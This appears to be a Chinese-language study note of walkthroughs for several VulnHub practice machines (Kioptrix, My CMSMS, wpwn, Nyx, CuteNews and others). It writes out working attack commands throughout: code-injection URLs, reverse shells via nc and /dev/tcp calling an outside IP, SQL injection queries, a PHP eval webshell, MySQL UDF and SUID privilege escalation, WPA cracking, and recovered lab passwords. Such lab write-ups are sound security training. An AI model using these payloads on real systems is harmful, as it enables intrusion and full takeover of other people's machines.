实际上这个漏洞的payload很简单： http://192.168.239.164/index.php?page=${@print(system(%22ls%22))}\，然后find / -name nc发现存在nc，直接反弹shell即可 http://kioptrix3.com/index.php?page=${@print(system(%22nc+-e+/bin/sh+192.168.239.132+6666%22))}\ 使用uname查看内核版本，发现版本为2.6，直接脏牛提权，https://www.exploit-db.com/exploits/40839 python -m SimpleHTTPServer 8000开启服务，wget下载运行即可提权 gcc -pthread 40839.c -o bmth -lcrypt最后ssh连接

username:firefart
password:bmth

第二种思路： 发现http://kioptrix3.com/gallery/gallery.php?id=1存在sql注入，直接union查询，或者sqlmap一把梭即可获取账号密码 http://192.168.239.164/gallery/gallery.php?id=-1 union select 1,2,(select group_concat(username, 0x3A, password) from dev_accounts),4,5,6 都可以md5解密获取密码

dreg       0d3eccfb887aabd50f243b3f155c0f85      --Mast3r

loneferret 5badcaf789d3d1d09794d8f021f40f0e      --starwars

ssh登录即可

参考： Kioptrix_Level_3 渗透解决方案通关vulnhub靶机(二十四)-Kioptrix:Level 1.2

Kioptrix: Level 1.3 (#4)

首先得到ip为192.168.239.128 随后扫描端口nmap -A -sS -sV -v -p- 192.168.239.128，发现开了22，80，139和445端口进入发现是一个登录页面，直接上sqlmap跑

python3 sqlmap.py -r 1.txt --level 3 --batch
python3 sqlmap.py -r 1.txt -D members --dump --level 3 --batch

获得账号密码，发现john可以ssh登陆，发现能执行的命令非常少，连whoami都执行不了，用?查看了一下只有8个命令可以执行 Spawning a TTY Shell-逃逸linux各种shell来执行命令，尝试echo os.system('/bin/bash')，成功逃逸查看具有管理员权限的进程,结果发现mysql也有root权限，命令:ps aux | grep root 似乎是MySQL的UDF提权或者是MySQL提权，mysql udf提权实战测试登录mysql，账号为root，密码为空

show databases;
use mysql;
show tables;
select * from func;

发现已经定义好了直接select sys_exec('chmod u+s /usr/bin/find');，赋予find命令root权限

touch test
find test -exec whoami \;
find test -exec "/bin/sh" \;

参考： oscp——Kioptrix: Level 1.3 (#4) MYSQL渗透测试 Mysql数据库渗透及漏洞利用总结通关vulnhub靶机(二十五)-Kioptrix:Level 1.3

My CMSMS: 1

启动即可获取到ip nmap扫描nmap -A -sS -sV -v -p- 192.168.50.247，主要开了3个端口，22，80，和3306 由于开启了3306端口，直接root root登录试一下，mysql -h 192.168.50.247 -u root -p 最后通过select * from cms_users;得到一个admin的账号密码但是发现这个密码解密不出来，使用update更改admin密码(不能直接把密码设置成字符串格式，得通过MD5加密才能存放，同时还涉及到另外一个表)

update cms_users set password = (select md5(CONCAT(IFNULL((SELECT sitepref_value FROM cms_siteprefs WHERE sitepref_name= 'sitemask'),''),'123456'))) where username = 'admin';

后台为/admin，使用admin，123456即可登录，在Extensions/User Defined Tags下按编辑可以进入到代码区域写入反弹shell

system("bash -c 'bash -i >&/dev/tcp/192.168.50.209/6666 0>&1'");

ls -al发现一个.htpasswd，先base64解码再base32解码得到一个账号密码直接su armour切换到armour用户，密码为Shield@123。sudo -l发现python为root权限，直接秒了 sudo python -c 'import pty;pty.spawn("/bin/bash")'

参考：通关vulnhub靶机(二十七)-My CMSMS:1

Escalate My Privileges: 1

打开靶机即可看到ip 开始用nmap探测端口，nmap -A -sS -sV -v -p- 192.168.50.174 直接使用dirb扫描目录，dirb http://192.168.50.174 这里还可以使用nikto工具nikto -h http://192.168.50.174 在/robots.txt可以找到指向另外一个文件phpbash.php，发现是个网页版的bash 写入bash反弹shellbash -i >& /dev/tcp/192.168.50.209/6666 0>&1 开始查找信息，发现在/home/armour/目录下有个Credentials.txt 那么密码就是md5(rootroot1)了，直接找一个加密网站那么就可以变为armour用户了，密码为b7bc8489abe360486b4b19dbc242e885。sudo -l查看发现都是root权限，随便用一个即可提权成功

参考：通关vulnhub靶机(二十八)-Escalate My Privileges:1

wpwn: 1

打开靶机直接获得到了ip nmap -A -sS -sV -v -p- 192.168.239.129，发现只开放了22和80端口直接dirb扫描一下目录文件，发现是wordpress 使用wpscan来进行测试wpscan --url http://192.168.239.129/wordpress -e ap发现存在插件social-warfare 寻找到相关漏洞：WordPress social-warfare插件XSS和RCE漏洞

searchsploit "social warfare"
searchsploit -x php/webapps/46794.py

得到了利用方式直接写入一句话

<pre>
    eval($_REQUEST['test'])
</pre>

payload：http://192.168.239.129/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.239.132/a.txt，POST传参即可即可连接蚁剑，查找文件发现wp-config.php存在密码为R3&]vzhHmMn9,:-5 那么查看/etc/passwd的账户一个一个尝试。最后发现takis用户可以登录即可获取第一个flag，sudo -l发现权限很高，直接切换为root即可

参考：通关vulnhub靶机(三十)-wpwn:1

Nyx: 1

打开靶机即可获取ip 扫描端口nmap -A -sS -sV -v -p- 192.168.239.130，只开了22和80端口使用dirb http://192.168.239.130/ -X .php扫描目录，发现一个key.php 进入key.php，但发现扫描信息都没有，这里换一个思路

nmap里面有很多script可以帮忙验证漏洞或者是帮忙枚举，这里选择的http-enum是用来从HTTP服务器上收集更多的信息

nmap 192.168.239.130 -p 80 --script=http-enum 发现一个奇怪的页面d41d8cd98f00b204e9800998ecf8427e.php，发现这就是ssh的钥匙，并且网站标题表明是mpampis key 使用ssh -i id_rsa mpampis@192.168.239.130登录(注意id_rsa的权限应为700) sudo -l发现是gcc，https://gtfobins.github.io/gtfobins/gcc/ 利用即可，sudo gcc -wrapper /bin/sh,-s .

参考：通关vulnhub靶机(三十一)-Nyx:1

BBS (cute): 1.0.2

探测ip：netdiscover -r 192.168.50.209/16 nmap扫描一波：nmap -A -sS -sV -v -p- 192.168.50.235，开了22，80，88，110，995端口直接上dirb扫目录发现存在index.php，并且Powered by CuteNews 2.1.2 searchsploit CuteNews，发现存在2.1.2版本漏洞这里使用php/remote/46698.rb，先复制文件到/usr/share/metasploit-framework/modules/exploits目录下随后注册一个普通账号，我这里是用户名为1，密码为123456，运行脚本

use 46698.rb
show options
set USERNAME 1
set PASSWORD 123456
set RHOSTS 192.168.50.235
set TARGETURI /
run

python -c "import pty;pty.spawn('/bin/bash')"产生交互式shell，找到第一个flag 随后进行提权，首先sudo -l发现有一个hping3，参考：sudo -hping3提权（含 suid位），直接运行hping3即可获取root权限

参考：通关vulnhub靶机(三十二)-BBS (cute):1.0.2

Victim: 1

打开即可获取ip，使用nmap扫一波 nmap -A -sS -sV -v -p- 192.168.50.28 一个一个端口查看，从8999端口的文件信息可以判断出这是一个wordpress的CMS站点，但主页80提示配置文件出了问题发现一个WPA-01.cap，使用wireshark进行流量分析打开以后看了下Source address主要有D-Link和Apple，都很好理解，D-Link就是路由器的意思，可能是一个WIFI浏览过这个网站，Apple就是iphone。发现一个SSID：dlink 使用aircrack-ng的-w功能加载字典匹配一波，-w其实也可以用来爆破wifi密码 aircrack-ng -w /usr/share/wordlists/rockyou.txt WPA-01.cap 最后发现WIFI名称为dlink,密码是p4ssword，连接ssh端口成功，sudo -l发现一个TryHarder find / -perm -u=s -type f 2>/dev/null查找一下，发现nohup可以提权，https://gtfobins.github.io/gtfobins/nohup/ nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)" 参考：通关vulnhub靶机(三十四)-Victim:1

Files

渗透学习笔记.md

Latest commit

History